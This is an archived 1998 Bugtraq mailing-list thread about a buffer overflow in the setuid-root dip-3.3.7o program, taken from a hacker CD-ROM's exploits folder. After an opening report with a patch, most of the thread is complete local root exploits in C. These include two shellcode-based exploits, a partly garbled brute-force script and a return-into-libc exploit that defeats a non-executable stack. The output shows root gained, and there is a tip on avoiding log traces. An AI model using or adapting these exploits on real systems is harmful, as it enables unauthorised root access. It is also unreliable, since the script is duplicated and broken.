home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / dip / dip.txt
Encoding:
Internet Message Format  |  2002-10-21  |  9.8 KB

  1. Date: Tue, 5 May 1998 13:28:21 +0200
  2. From: Goran Gajic <ggajic@AFRODITA.RCUB.BG.AC.YU>
  3. To: BUGTRAQ@NETSPACE.ORG
  4. Subject: dip-3.3.7o security hole
  5.  
  6. Hi,
  7.  
  8. There is potencial security hole in dip-3.3.7o which is installed
  9. suid root in Slackware 3.4 distribution (if selected). Just try this:
  10. ~> dip -k -l `perl -e 'print "a" x 2000'`
  11. and you will get something like:
  12.  
  13. DIP: cannot open /var/lock/LCK..aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  14. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  15. aaaaaaaaaaaaaaaaaaa:No such file or directory
  16. Segmentation fault
  17.  
  18. If you look dip source, main.c, or do strace, you will find that problem
  19. is with sprintf, line 192:
  20.  
  21.      sprintf(buf, "%s/LCK..%s", _PATH_LOCKD, nam);
  22.  
  23. Here is obvious patch:
  24.  
  25. --- main.c      Tue Feb 13 03:03:35 1996
  26. +++ main.c      Mon May  4 23:36:49 1998
  27. @@ -189,7 +189,7 @@
  28.      return;
  29.    }
  30.  
  31. -  sprintf(buf, "%s/LCK..%s", _PATH_LOCKD, nam);
  32. +  snprintf(buf, sizeof(buf), "%s/LCK..%s", _PATH_LOCKD, nam);
  33.  
  34.    fp = fopen(buf, "r");
  35.    if (fp == (FILE *)0) {
  36.  
  37. Or chmod -s dip.
  38.  
  39. Goran Gajic
  40. Date: Thu, 7 May 1998 20:06:47 +0000
  41. From: jamez <jamez@UGROUND.ORG>
  42. To: BUGTRAQ@NETSPACE.ORG
  43. Subject: dip 3.3.7 exploit
  44.  
  45. Here an exploit for dip 3.3.7o buffer overflow.
  46.  
  47. ----- cut here -----
  48. /*
  49.   dip 3.3.7o buffer overflow exploit for Linux. (May 7, 1998)
  50.   coded by jamez. e-mail: jamez@uground.org
  51.  
  52.   thanks to all ppl from uground.
  53.  
  54.   usage:
  55.      gcc -o dip-exp dip3.3.7o-exp.c
  56.      ./dip-exp offset (-100 to 100. probably 0. tested on slack 3.4)
  57. */
  58.  
  59.  
  60. char shellcode[] =
  61.  
  62. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  63.  
  64. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  65.         "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  66.  
  67.  
  68. #define SIZE 130
  69. /* cause it's a little buffer, i wont use NOP's */
  70.  
  71. char buffer[SIZE];
  72.  
  73.  
  74. unsigned long get_esp(void) {
  75.    __asm__("movl %esp,%eax");
  76. }
  77.  
  78.  
  79. void main(int argc, char * argv[])
  80. {
  81.   int i = 0,
  82.       offset = 0;
  83.   long addr;
  84.  
  85.  
  86.   if(argc > 1) offset = atoi(argv[1]);
  87.  
  88.   addr = get_esp() - offset - 0xcb;
  89.  
  90.   for(i = 0; i < strlen(shellcode); i++)
  91.      buffer[i] = shellcode[i];
  92.  
  93.   for (; i < SIZE; i += 4)
  94.   {
  95.      buffer[i  ] =  addr & 0x000000ff;
  96.      buffer[i+1] = (addr & 0x0000ff00) >> 8;
  97.      buffer[i+2] = (addr & 0x00ff0000) >> 16;
  98.      buffer[i+3] = (addr & 0xff000000) >> 24;
  99.   }
  100.  
  101.   buffer[SIZE - 1] = 0;
  102.  
  103.   execl("/sbin/dip", "dip", "-k", "-l", buffer, (char *)0);
  104. }
  105. ----- cut here -----
  106.  
  107.  
  108. --
  109. jamez@uground.org
  110. Date: Fri, 8 May 1998 01:14:21 +0000
  111. From: zef <zef@PROMISC.NET>
  112. To: BUGTRAQ@NETSPACE.ORG
  113. Subject: dip-3.3.7o exploit
  114.  
  115.   The following code causes a buffer overrun in dip-3.3.7o that
  116. comes with linux slakware version 3.4  and maybe others.
  117.  
  118. It can give you root permission if dip file is owned by root and
  119. set-user-id bit is set.
  120.  
  121.   This problem was mentioned in this list some days ago by Goran Gajic,
  122. and he has also posted some possible ways to correct it.
  123.  
  124.   The code is too messy... but it works.
  125.  
  126. Regards,
  127.  
  128. zef
  129.  
  130.  
  131. ------------------------------ dipr.c -----------------------------
  132.  
  133. /*
  134.  * dip-3.3.7o buffer overrun                            07 May 1998
  135.  *
  136.  * sintax: ./dipr <offset>
  137.  *
  138.  *
  139.  *   offset: try increments of 50 between 1500 and 3000
  140.  *
  141.  *   tested in linux with dip version 3.3.7o (slak 3.4).
  142.  *
  143.  *                by zef and r00t @promisc.net
  144.  *
  145.  *                   http://www.promisc.net
  146.  */
  147.  
  148. #include <stdio.h>
  149. #include <stdlib.h>
  150.  
  151. static inline getesp()
  152. {
  153.   __asm__(" movl %esp,%eax ");
  154. }
  155.  
  156. main(int argc, char **argv)
  157. {
  158.   int jump,i,n;
  159.   unsigned long xaddr;
  160.   char *cmd[5], buf[4096];
  161.  
  162.  
  163. char code[] =
  164.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  165.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  166.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  167.  
  168.   jump=atoi(argv[1]);
  169.  
  170.   for (i=0;i<68;i++)
  171.     buf[i]=0x41;
  172.  
  173.   for (n=0,i=68;i<113;i++)
  174.     buf[i]=code[n++];
  175.  
  176.   xaddr=getesp()+jump;
  177.  
  178.   buf[i]=xaddr & 0xff;
  179.   buf[i+1]=(xaddr >> 8) & 0xff;
  180.   buf[i+2]=(xaddr >> 16) & 0xff;
  181.   buf[i+3]=(xaddr >> 24) & 0xff;
  182.  
  183.   buf[i+4]=xaddr & 0xff;
  184.   buf[i+5]=(xaddr >> 8) & 0xff;
  185.   buf[i+6]=(xaddr >> 16) & 0xff;
  186.   buf[i+6]=(xaddr >> 16) & 0xff;
  187.   buf[i+7]=(xaddr >> 24) & 0xff;
  188.  
  189.   cmd[0]=malloc(17);
  190.   strcpy(cmd[0],"/sbin/dip-3.3.7o");
  191.  
  192.   cmd[1]=malloc(3);
  193.   strcpy(cmd[1],"-k");
  194.  
  195.   cmd[2]=malloc(3);
  196.   strcpy(cmd[2],"-l");
  197.  
  198.   cmd[3]=buf;
  199.  
  200.   cmd[4]=NULL;
  201.  
  202.   execve(cmd[0],cmd,NULL);
  203. }
  204.  
  205. ------------------------------- end -------------------------------
  206.  
  207.  
  208. Shell script for easy testing :-)
  209.  
  210.  
  211. ---------------------------- dipr.test ----------------------------
  212.  
  213. #/bin/bash
  214. if [ ! -x /sbin/dip-3.3.7o ]
  215. then
  216.   echo "could not find file \"/sbin/dip-3.3.7o\"";
  217.   exit -1
  218. fi
  219. if [ ! -u /sbin/dip-3.3.7o ]
  220. then
  221.   echo "dip executable is not suid"
  222.   exit -1
  223. fi
  224. if [ ! -x ./dipr ]
  225. then
  226.   echo "could not find file \"./dipr\"";
  227.   echo "try compiling dipr.c"
  228.   exit -1
  229. fi
  230.  
  231. x=2000
  232. false
  233. while [ $x -lt 3000 -a $? -ne 0 ]
  234. fi
  235. if [ ! -u /sbin/dip-3.3.7o ]
  236. then
  237.   echo "dip executable is not suid"
  238.   exit -1
  239. fi
  240. if [ ! -x ./dipr ]
  241. then
  242.   echo "could not find file \"./dipr\"";
  243.   echo "try compiling dipr.c"
  244.   exit -1
  245. fi
  246.  
  247. x=2000
  248. false
  249. while [ $x -lt 3000 -a $? -ne 0 ]
  250. do
  251.   echo offset=$x
  252.   x=$[x+50]
  253.   ./dipr $x
  254. done
  255. rm -f core
  256.  
  257. ------------------------------- end -------------------------------
  258. Date: Wed, 13 May 1998 00:17:35 +0200
  259. From: Thomas Troeger <tstroege@CIP.INFORMATIK.UNI-ERLANGEN.DE>
  260. To: BUGTRAQ@NETSPACE.ORG
  261. Subject: Cooking with the right dip(-3.3.7o)
  262.  
  263. Hi,
  264.  
  265. After reading jamez's and zef's postings about dip and reviewing
  266. its sourcecode, I recalled Rafal Wojtczuk (nergal)'s post about defeating
  267. Solar Designer's non-executable stack. I asked myself "Hmmm, let's see if
  268. we can get a shell out of it even on a system with installed stackpatch."
  269.  
  270. So I develpoed the following recipe:
  271.  
  272. First, setup your directory like this:
  273.  
  274. -----------------------------------------------------------
  275. ln -s /bin/sh a
  276. ln -s /bin/sh aa
  277. ln -s /bin/sh aaa
  278. ln -s /bin/sh aaaa
  279. ln -s /bin/sh aaaaa
  280. ln -s /bin/sh aaaaaa
  281. ln -s /bin/sh aaaaaaa
  282.  
  283. ln -s /usr/sbin/dip vul
  284. -----------------------------------------------------------
  285.  
  286. Get the dip-3.3.7o-uri package and uncompress it. Take main.c and edit
  287. it the following (preferably with vi !! :) ) :
  288.  
  289. ------------------ dip-3.3.7o/main.c line 194+ -----------------------------
  290.     fp = fopen(buf, "r");
  291.     if (fp == (FILE *)0) {
  292.     fprintf(stderr, "DIP: cannot open %s: %s\n",
  293.         buf, strerror(errno));
  294. +   fprintf(stderr, "labels: %p %p\n", &system, nam);
  295.         return;
  296.     }
  297. ----------------------------------------------------------------------------
  298.  
  299. Of course you can juat use gdb and issue the "p system" command as well, that
  300. avoids getting the package.
  301.  
  302. Now compile and run it, you get:
  303.  
  304. ----------------------------------------------------------------------------
  305. pigsnspace$ dip -k -l aaaa
  306. DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
  307. Written by Fred N. van Kempen, MicroWalt Corporation.
  308.  
  309. DIP: cannot open /usr/spool/uucp/LCK..aaaa: No such file or directory
  310. labels: 0x80493e8 0xbffff6f0
  311. ----------------------------------------------------------------------------
  312.  
  313. Insert the first number you get into the following exploit:
  314.  
  315. --------------------------  baguette.c  --------------------------------
  316. /*
  317.  * Programm to get a shell from dip-3.3.7o-uri on a system with
  318.  * Solar Designer's stackpatch installed.
  319.  * by tstroege@cip.informatik.uni-erlangen.de
  320.  * credits to jamez, zef and especially
  321.  * Rafal Wojtczuk for his howto ;)
  322.  *
  323.  * Of course this is just for educational purposes :)
  324.  */
  325.  
  326. #include <stdio.h>
  327.  
  328. #define SYSTEM  0x80493e8
  329. /* address of system entry */
  330. #define SOMESTACK       0xbffffea0
  331. /* adress on stack where argv[1] should be. Usually somewhere on top */
  332.  
  333. int main(int argc, char *argv[]) {
  334.         char *name[]={"./vul", "-k", "-l", NULL, NULL};
  335.         char mem[1024], *ptr;
  336.         int i, code[]={ SYSTEM, SOMESTACK, SOMESTACK, 0 }, off=atoi(argv[1]);
  337.  
  338.         for (ptr=mem, i=0; i < 1024; i+=8, ptr+=8) memcpy(ptr, "aaaaaaa;", 8);
  339.         ptr=mem+off;
  340.         strcpy(ptr, (char *)&(code[0]));
  341.         mem[1023]=0;
  342.         name[3]=(char *)mem;
  343.         printf("%s (%d/%d)\n", mem, strlen(mem), off);
  344.         execve(name[0], name, NULL);
  345.         return 0;
  346. }
  347. ----------------------------------------------------------------------
  348. (SOMESTACK is someway above 0xbffff6f0, here it was 0xbffffea0)
  349.  
  350. Running this program should do. On my platform offset 113 did the job:
  351.  
  352. ----------------------------------------------------------------------
  353. pigsnspace$ gcc baguette.c -o exp
  354. pigsnspace$ id
  355. uid=1047(piggy) gid=100(users) groups=100(users)
  356. pigsnspace$ ./exp 113
  357. aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aΦ ■^?┐ ■^?┐ (125/113)
  358. DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
  359. Written by Fred N. van Kempen, MicroWalt Corporation.
  360.  
  361. DIP: cannot open /var/lock/LCK..aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aΦ ■^?┐ ■^?┐: No such file or directory
  362. pigsnspace# id
  363. uid=1047(piggy) gid=100(users) euid=0(root) groups=100(users)
  364. ----------------------------------------------------------------------
  365.  
  366. Well, so much to this. You should keep in mind that getting the right offset
  367. value (the 113 somewhere above) and the address of SYSTEM and SOMESTACK can
  368. be difficult. Most probably this program will not work at once (see more about
  369. it in nergals article). Those values worked here, but you will have to
  370. experiment.
  371.  
  372. After exiting the neat shells, you'll get a systerm log. So you should
  373. maybe just kill them using kill ......
  374.  
  375.         tst.
  376.